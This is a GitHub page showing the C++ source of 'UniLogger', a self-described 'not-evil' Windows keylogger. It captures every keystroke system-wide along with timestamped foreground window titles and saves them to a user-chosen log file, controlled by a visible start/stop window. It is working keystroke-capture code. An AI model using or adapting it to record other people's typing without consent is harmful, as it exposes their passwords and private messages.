-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathSource.cpp
More file actions
389 lines (357 loc) · 11.1 KB
/
Source.cpp
File metadata and controls
389 lines (357 loc) · 11.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
#include <windows.h>
#include "resource.h"
#include <stdio.h>
/************************************************
* [UniLogger] *
* A "not-evil" keylogger with Unicode support *
*************************************************
- @SheriefEldeeb
- http://eldeeb.net
- Made in Egypt :)
************************************************/
/*
Copyright (c) 2013, Sherif Eldeeb "eldeeb.net"
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The views and conclusions contained in the software and documentation are those
of the authors and should not be interpreted as representing official policies,
either expressed or implied, of the FreeBSD Project.
*/
HWND hwnd;
int nBitmap = IDB_BITMAP2;
TCHAR *winText = L"Not Logging...\n\nClick to (start/stop)\n\nhttp://eldeeb.net";
DWORD nThreadId;
HANDLE hThreadHandle;
TCHAR window_text[1024] = {0};
TCHAR old_window_text[1024] = {0};
HWND hWindowHandle;
TCHAR wszAppName[1024] = {0};
DWORD dwBytesWritten = 0;
unsigned char header[2] = { 0xFF, 0xFE }; //unicode text file header
HANDLE hFile = INVALID_HANDLE_VALUE;
wchar_t log_file[MAX_PATH] = {0};
SYSTEMTIME LocalTime = {0};
TCHAR *save_log(void) {
OPENFILENAME ofn = {0};
TCHAR filename[512] = {0};
GetLocalTime(&LocalTime);
_snwprintf((wchar_t*)filename, 511, L"%04d%02d%02d-%02d%02d%02d.log", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond);
ofn.lStructSize = sizeof(ofn);
ofn.lpstrFilter = L"Log files (*.log)\0*.LOG\0All Files\0*.*\0";
ofn.lpstrFile = filename;
ofn.nMaxFile = sizeof(filename);
ofn.lpstrTitle = L"UniLogger - Select keylog Location";
ofn.Flags = OFN_NONETWORKBUTTON | OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_LONGNAMES | OFN_EXPLORER | OFN_HIDEREADONLY;
ofn.nFilterIndex = 1;
if(!GetSaveFileName(&ofn)) exit(1);
TCHAR *buff = (TCHAR*)malloc(512);
ZeroMemory(buff,512);
memcpy(buff,filename,wcslen(filename) * sizeof(TCHAR));
return(buff);
}
void WriteToFile(TCHAR *wText)
{
hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hFile, wText, wcslen(wText) * sizeof(wchar_t), &dwBytesWritten, NULL);
CloseHandle(hFile);
}
void WritesScannedKeyToFile(short sScannedKey)
{
HKL hkl;
DWORD dwThreadId;
DWORD dwProcessId;
hWindowHandle = GetForegroundWindow();
dwThreadId = GetWindowThreadProcessId(hWindowHandle, &dwProcessId);
BYTE *kState = (BYTE*)malloc(256);
GetKeyboardState(kState);
hkl = GetKeyboardLayout(dwThreadId);
wchar_t UniChar[16] = {0};
//UINT virtualKey = MapVirtualKeyEx((UINT)sScannedKey, MAPVK_VK_TO_CHAR, hkl);
UINT virtualKey = sScannedKey;
ToUnicodeEx(virtualKey, sScannedKey, (BYTE*)kState, UniChar, 16, NULL, hkl);
WriteToFile(UniChar);
free(kState);
}
DWORD WINAPI logger(void)
{
wcscpy_s(log_file, save_log());
hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hFile, header, 2, &dwBytesWritten, NULL);
CloseHandle(hFile);
short sScannedKey;
while(1)
{
Sleep((rand() % 10) + 10);
for(sScannedKey=8;sScannedKey<=222;sScannedKey++)
{
if(GetAsyncKeyState(sScannedKey)==-32767)
{
//check window name, has it changed?
hWindowHandle = GetForegroundWindow();
if (hWindowHandle != NULL)
{
if (GetWindowText(hWindowHandle, window_text, 1024) != 0)
{
if (wcscmp(window_text, old_window_text) != 0)
{
hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
GetLocalTime(&LocalTime);
_snwprintf_s(wszAppName, 1023, L"\n\n%04d/%02d/%02d %02d:%02d:%02d - {%s}\n", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond,window_text);
WriteFile(hFile, wszAppName, wcslen(wszAppName) * sizeof(wchar_t), &dwBytesWritten, NULL);
wcscpy_s(old_window_text, window_text);
CloseHandle(hFile);
}
}
}
// end of window name & title check.
if(true)
{
if((sScannedKey>=39)&&(sScannedKey<91))
{
WritesScannedKeyToFile(sScannedKey);
break;
}
else
{
switch(sScannedKey)
{
//http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
case VK_SPACE:
WriteToFile(L" ");
break;
case VK_SHIFT:
WriteToFile(L"[SHIFT]");
break;
case VK_RETURN:
WriteToFile(L"[ENTER]");
break;
case VK_BACK:
WriteToFile(L"[BACKSPACE]");
break;
case VK_TAB:
WriteToFile(L"[TAB]");
break;
case VK_CONTROL:
WriteToFile(L"[CTRL]");
break;
case VK_DELETE:
WriteToFile(L"[DEL]");
break;
case VK_OEM_1:
//WriteToFile(L"[;:]");
WritesScannedKeyToFile(VK_OEM_1);
break;
case VK_OEM_2:
//WriteToFile(L"[/?]");
WritesScannedKeyToFile(VK_OEM_2);
break;
case VK_OEM_3:
//WriteToFile(L"[`~]");
WritesScannedKeyToFile(VK_OEM_3);
break;
case VK_OEM_4:
//WriteToFile(L"[ [{ ]");
WritesScannedKeyToFile(VK_OEM_4);
break;
case VK_OEM_5:
//WriteToFile(L"[\\|]");
WritesScannedKeyToFile(VK_OEM_5);
break;
case VK_OEM_6:
//WriteToFile(L"[ ]} ]");
WritesScannedKeyToFile(VK_OEM_6);
break;
case VK_OEM_7:
//WriteToFile(L"['\"]");
WritesScannedKeyToFile(VK_OEM_7);
break;
case VK_OEM_PLUS:
WriteToFile(L"+");
break;
case VK_OEM_COMMA:
//WriteToFile(L",");
WritesScannedKeyToFile(VK_OEM_COMMA);
break;
case VK_OEM_MINUS:
WriteToFile(L"-");
break;
case VK_OEM_PERIOD:
//WriteToFile(L".");
WritesScannedKeyToFile(VK_OEM_PERIOD);
break;
case VK_NUMPAD0:
WriteToFile(L"0");
break;
case VK_NUMPAD1:
WriteToFile(L"1");
break;
case VK_NUMPAD2:
WriteToFile(L"2");
break;
case VK_NUMPAD3:
WriteToFile(L"3");
break;
case VK_NUMPAD4:
WriteToFile(L"4");
break;
case VK_NUMPAD5:
WriteToFile(L"5");
break;
case VK_NUMPAD6:
WriteToFile(L"6");
break;
case VK_NUMPAD7:
WriteToFile(L"7");
break;
case VK_NUMPAD8:
WriteToFile(L"8");
break;
case VK_NUMPAD9:
WriteToFile(L"9");
break;
case VK_CAPITAL:
WriteToFile(L"[CAPS LOCK]");
break;
case VK_PRIOR:
WriteToFile(L"[PAGE UP]");
break;
case VK_NEXT:
WriteToFile(L"[PAGE DOWN]");
break;
case VK_END:
WriteToFile(L"[END]");
break;
case VK_HOME:
WriteToFile(L"[HOME]");
break;
case VK_LWIN:
WriteToFile(L"[WIN]");
break;
case VK_RWIN:
WriteToFile(L"[WIN]");
break;
case VK_VOLUME_MUTE:
WriteToFile(L"[SOUND-MUTE]");
break;
case VK_VOLUME_DOWN:
WriteToFile(L"[SOUND-DOWN]");
break;
case VK_VOLUME_UP:
WriteToFile(L"[SOUND-DOWN]");
break;
case VK_MEDIA_PLAY_PAUSE:
WriteToFile(L"[MEDIA-PLAY/PAUSE]");
break;
case VK_MEDIA_STOP:
WriteToFile(L"[MEDIA-STOP]");
break;
case VK_MENU:
WriteToFile(L"[ALT]");
break;
default:
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wparam, LPARAM lparam )
{
switch(message)
{
case WM_PAINT:
{
HDC hdc;
HDC hMemDC;
PAINTSTRUCT ps;
HBITMAP hBitmapS;
RECT rect;
hdc = BeginPaint( hwnd, &ps );
//image
hBitmapS = LoadBitmap(GetModuleHandle(NULL), MAKEINTRESOURCE(nBitmap));
hMemDC = CreateCompatibleDC(hdc);
SelectObject(hMemDC, hBitmapS);
BitBlt(hdc,10,10,121,106,hMemDC,0,0,SRCCOPY);
//text
GetClientRect(hwnd, &rect);
rect.left = (rect.right / 2) - 40;
rect.top = rect.top + 10;
DrawText(hdc, winText, -1, &rect, DT_CENTER | DT_END_ELLIPSIS );
//cleanuop
DeleteDC(hMemDC);
EndPaint( hwnd, &ps );
}
return 0;
break;
case WM_LBUTTONDOWN:
if (nBitmap == IDB_BITMAP1) {
nBitmap = IDB_BITMAP2;
winText = L"Not Logging...\n\nClick to (start/stop)\n\nhttp://eldeeb.net";
CloseHandle(hThreadHandle);
}
else if (nBitmap == IDB_BITMAP2) {
nBitmap = IDB_BITMAP1;
winText = L"Logging!\n\nClick to (start/stop)\n\nhttp://eldeeb.net";
hThreadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)logger, NULL, NULL, &nThreadId);
ShowWindow(hwnd, SW_MINIMIZE);
}
InvalidateRect(hwnd,NULL, true);
return 0;
break;
case WM_DESTROY:
PostQuitMessage( 0 ) ;
return 0;
break;
}
return DefWindowProc(hwnd, message, wparam, lparam);
}
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR szCmdLine, int iCmdShow)
{
srand(GetTickCount());
//
WNDCLASSEX wcx = {0};
wcx.cbSize = sizeof(WNDCLASSEX);
wcx.hbrBackground = (HBRUSH)GetStockObject( WHITE_BRUSH );
wcx.hCursor = LoadCursor( NULL, IDC_ARROW );
wcx.hIcon = LoadIcon( GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ICON1));
wcx.hInstance = hInstance;
wcx.lpfnWndProc = WndProc;
wcx.lpszClassName = TEXT("UniLogger");
wcx.lpszMenuName = TEXT("Menu"); // no menu - ignore
wcx.style = CS_HREDRAW | CS_VREDRAW; // Redraw the window
wcx.hIconSm = LoadIcon( GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ICON1));
//
RegisterClassEx(&wcx);
//
hwnd = CreateWindow(TEXT("UniLogger"),TEXT("UniLogger!"),
(WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX),
CW_USEDEFAULT, CW_USEDEFAULT, 350, 170, NULL, NULL, hInstance, NULL );
ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);
MSG msg;
while( GetMessage( &msg, NULL, 0, 0 ) )
{
TranslateMessage( &msg );
DispatchMessage( &msg );
}
return msg.wParam;
}